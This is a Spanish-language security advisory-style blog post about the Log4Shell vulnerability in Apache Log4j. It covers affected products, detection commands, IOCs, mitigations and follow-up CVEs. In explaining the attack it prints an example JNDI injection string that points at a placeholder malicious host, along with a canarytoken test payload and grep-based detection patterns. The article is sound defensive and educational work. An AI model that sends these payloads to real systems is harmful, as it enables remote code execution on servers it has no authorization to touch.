Hace unas horas, se publicó un exploit Zero-Day en la popular biblioteca de registro de Java Log4j (2.0 – 2.14.1) que da como resultado la Ejecución Remota de Código (RCE) al registrar una determinada cadena. Un atacante puede construir un paquete especial de solicitud de datos, que finalmente desencadena la RCE.
Apache Log4j es una herramienta de registro basada en el lenguaje de programación Java y se utiliza ampliamente en el desarrollo de sistemas empresariales para registrar información.
Versión afectada: 2.0 <= Apache log4j2 <= 2.14.1
El 24 de noviembre de 2021, el equipo de seguridad de Alibaba Cloud informó oficialmente de la vulnerabilidad de ejecución remota de código de Apache Log4j. Debido a que algunas funciones de Apache Log4j realizan análisis recursivo, los atacantes pueden construir directamente solicitudes maliciosas para desencadenar vulnerabilidades de ejecución remota de código. La explotación de la vulnerabilidad no requiere una configuración especial. Tras la verificación por parte del equipo de seguridad de Alibaba Cloud se ven afectados:
- Apache Struts2
- Apache Solr
- Apache Druid
- Apache Flink
Dado lo ubicua que es esta biblioteca, el impacto del exploit (control total del servidor) y lo fácil que es explotar, la vulnerabilidad es crítica. Lo llamamos “Log4Shell” para abreviar.
Hay sospechas de que hacía mucho tiempo que se conocía el vector de ataque. Es interesante analizar como grandes vendors de la industria emplean componentes de software libre, sin interesarse en la seguridad de los mismos. Parece que se sigue asociando software libre a software gratuito.
El Zero-Day se tuiteó junto con un PoC publicado en GitHub. Se ha publicado como CVE-2021-44228 (info oficial).
¿Quién se ve afectado?
Muchos servicios son vulnerables a este exploit. Ya se ha descubierto que los servicios en la nube como en Steam, Apple iCloud, y aplicaciones como Minecraft son vulnerables (video). Muchos proyectos de código abierto como el servidor de Minecraft, Paper, Elasticsearch, Zrails, Hadoop, Kafka, Kibana, Solr, Spark, Struts, Tapestry, Wicket, ya han comenzado a parchear el uso de Log4j. Se ha demostrado que simplemente cambiar el nombre de un iPhone desencadena la vulnerabilidad en los servidores de Apple.
Cualquiera que use Apache Struts probablemente también sea vulnerable. Hemos visto vulnerabilidades similares explotadas antes en brechas como la filtración de datos de Equifax de 2017.
Según esta publicación de este blog, las versiones de JDK superiores a 6u211, 7u201, 8u191 y 11.0.1 no se ven afectadas por el vector de ataque LDAP. En estas versiones, com.sun.jndi.ldap.object.trustURLCodebase se establece en False, lo que significa que Java Naming and Directory Interface (JNDI) no puede cargar código remoto utilizando LDAP.
Sin embargo, existen otros vectores de ataque dirigidos a esta vulnerabilidad que pueden resultar en RCE. Un atacante aún podría aprovechar el código existente en el servidor para ejecutar una carga útil. En esta publicación se analiza un ataque dirigido a la clase org.apache.naming.factory.BeanFactory, presente en los servidores Apache Tomcat.
- Si encuentra estos hashes, entonces tiene el Log4j vulnerable en sus sistemas.
- La presencia de archivos JAR que pertenecen a la biblioteca Log4j puede indicar que una aplicación es potencialmente susceptible a CVE-2021-44228. Los archivos específicos para buscar deben coincidir con el siguiente patrón:
"log4j-core-*.jar" - Dependiendo del método de instalación, la ubicación del archivo JAR coincidente también puede dar indicaciones sobre qué aplicación es potencialmente vulnerable. Por ejemplo, en Windows, si el archivo se encuentra en
C:\Program Files\ApplicationName\log4j-core-version.jar, indica queApplicationNamedebe investigarse. - En Linux, la utilidad lsof puede mostrar qué procesos tienen actualmente el archivo JAR en uso y se pueden ejecutar mediante la siguiente sintaxis:
lsof /path/to/log4j-core-version.jar; - Actualmente, la guía de detección en forma de firmas de expresión regular en el espacio público parece ser demasiado amplia y han surgido varias variantes para eludirlos. Randori recomienda filtrar las solicitudes entrantes que contienen la cadena “$ {jndi:” enviadas a sistemas sospechosos
Detección del ataque e IOCs
Florian Roth (aka cyb3rops) creó un repositorio con algunas opciones para la detección y la mitigación así como las reglas de YARA correspondientes. Estos comandos buscan distintos intentos de explotación en /var/log:
# sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log
# sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i
'\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'
# sudo find /var/log/test/ -type f -exec sh -c "cat {} |
sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'"\;
# sudo find /var/log/test/ -name "*.gz" -type f -exec sh -c "zcat {} |
sed -e 's/\${lower://'g | tr -d '}' | egrep -i 'jndi:(ldap[s]?|rmi|dns):'" \;
Se han publicado las reglas de Suricata y Snort y un plugin para Burp.
Ya se ha iniciado la explotación masiva de esta vulnerabilidad principalmente por operadores de malware para el criptominado. GreyNoise ha publicado un listado de IPs, IOCs y Hashes de atacantes, las que corresponden principalmente a nodos de salida TOR.
Aquí hay una lista de IPs actualizada cada hora.
Se ha publicado la lista de productos vulnerables.
Se han publicado varias herramientas para el análisis de dominios:
- https://github.com/fullhunt/log4j-scan
- https://github.com/alexandre-lavoie/python-log4rce
- https://github.com/nice0e3/log4j_POC
Mitigación permanente
La versión 2.15.0 de Log4j corrige la vulnerabilidad (requiere Java 8).
- Para versiones antiguas se puede renombrar o eliminar el archivo JndiLookup.class
- Anuncio oficial de seguridad de log4j.
Mitigación temporal
Hay una discusión en HackerNews sobre el tema para la versión 2.10.0. Para mitigar la vulnerabilidad en lugar de actualizar Log4j, el siguiente parámetro debe establecerse en true al iniciar la máquina virtual Java: log4j2.formatMsgNoLookups;
La empresa de ciberseguridad Cybereason lanzó un script o “vacuna” que aprovecha la vulnerabilidad para desactivar una configuración en una instancia remota y vulnerable de Log4Shell. Básicamente, la vacuna corrige la vulnerabilidad explotando el servidor vulnerable.
La herramienta llamada Logout4Shell cambia algunas propiedades del sistema log4j2.formatMsgNoLookups = true, elimina la clase JndiLookup del classpath y, si el servidor tiene Java> = 8u121, cambia la configuración com.sun.jndi.rmi.object.trustURLCodebase y com.sun.jndi.cosnaming.object.trustURLCodebase.
Cómo funciona el exploit
Por ejemplo, una cadena de User-Agent que contenga el exploit podría pasarse a un sistema backend escrito en Java. Es por eso que es vital que todo el software basado en Java que use Log4j versión 2 esté parcheado o que se apliquen mitigaciones de inmediato. Incluso si el software orientado a Internet no está escrito en Java, es posible que las cadenas se pasen a otros sistemas que están en Java, lo que permite que suceda el exploit.
- El atacante envía un parámetro manipulado al servidor (por HTTP u otro protocolo). Por ejemplo la siguiente cadena:
${jndi:ldap://sitio-malicioso.com/exp} - El servidor vulnerable recibe la solicitud con el payload.
- La vulnerabilidad en Log4j permite que el payload se ejecute y el servidor realiza una petición al sitio del atacante. La petición se realiza a través del protocolo JNDI.
- La respuesta desde el servidor del atacante contiene un archivo Java remoto (por ejemplo, un archivo exploit.class) que se inyecta en el proceso que está ejecutando el servidor vulnerable.
- Se ejecuta código en el servidor vulnerable.
La siguiente imagen del usuario @Esferared lo explica a la perfección:
Una forma rápida de probar cualquier aplicación, la explica Thinkst Canary en su twit:
A. Generar un DNS token “Log4Shell” en https://canarytokens.org/generate#.
B. Usar el token generado valor en cualquier formulario, ingreso de dato, configuración, campo, parámetro, etc. de una aplicación. Por ejemplo: ${jndi:ldap://x${hostName}.TEST.nfdmo17lg5o2kr9m76cmp9a88.canarytokens.com/a}
C. Se recibe una notificación ante la vulnerabilidad.
Fuente: LunaSec
Actualización:
Se encontró una segunda vulnerabilidad en Apache Log4j, después de que los expertos en ciberseguridad pasaran días intentando parchear o mitigar CVE-2021-44228.
La descripción de la nueva vulnerabilidad, CVE 2021-45046, dice que “la corrección para abordar CVE-2021-44228 en Apache Log4j 2.15.0 estaba incompleta en ciertas configuraciones no predeterminadas. Esto podría permitir a los atacantes crear datos de entrada maliciosos utilizando un patrón de búsqueda JNDI que resulte en un ataque de denegación de servicio (DOS)”, dice la descripción de CVE.
Apache ya ha lanzado un parche, Log4j 2.16.0, para este problema. El CVE dice que Log4j 2.16.0 soluciona el problema al eliminar el soporte para patrones de búsqueda de mensajes y deshabilitar la funcionalidad JNDI de forma predeterminada. Señala que el problema se puede mitigar en versiones anteriores eliminando la clase JndiLookup del Classpath.
John Bambenek, principal cazador de amenazas de Netenrich, le dijo a ZDNet que la solución es deshabilitar la funcionalidad JNDI por completo (que es el comportamiento predeterminado en la última versión).
“Al menos una docena de grupos están usando estas vulnerabilidades, por lo que se deben tomar medidas inmediatas para parchear, eliminar JNDI o sacarlo del classpath (preferiblemente todo lo anterior)”, dijo Bambenek.
Los exploits comenzaron a aparecer el pasado 1 de diciembre, según Cloudflare, y una alerta inicial de CERT Nueva Zelanda provocó otros por parte de CISA y el Centro Nacional de Seguridad Cibernética del Reino Unido. El Centro Nacional de Seguridad Cibernética de los Países Bajos publicó una larga lista de software que se ve afectado por la vulnerabilidad.
Muchas empresas ya están experimentando ataques que aprovechan la vulnerabilidad. La plataforma de seguridad Armis le dijo a ZDNet que detectó intentos de ataque Log4shell en más de un tercio de sus clientes (35%). Los atacantes tienen como objetivo servidores físicos, servidores virtuales, cámaras IP, dispositivos de fabricación y sistemas de asistencia.
Actualización2:
Aún más preocupante, los investigadores de la firma de seguridad Praetorian advirtieron sobre una tercera debilidad de seguridad separada en Log4j versión 2.15.0 que puede “permitir la exfiltración de datos confidenciales en ciertas circunstancias”. Se han ocultado detalles técnicos adicionales de la falla para evitar una mayor explotación, pero no está claro de inmediato si esto ya se ha abordado en la versión 2.16.0.
Este descubrimiento se se produce cuando los grupos avanzados de amenazas persistentes de China, Irán, Corea del Norte y Turquía, tales como Hafnium y Phosphorus, están explotando la vulnerabilidad en tantos sistemas como sea posible. Hasta el momento, se han registrado más de 1.8 millones de intentos para explotar la vulnerabilidad Log4j.
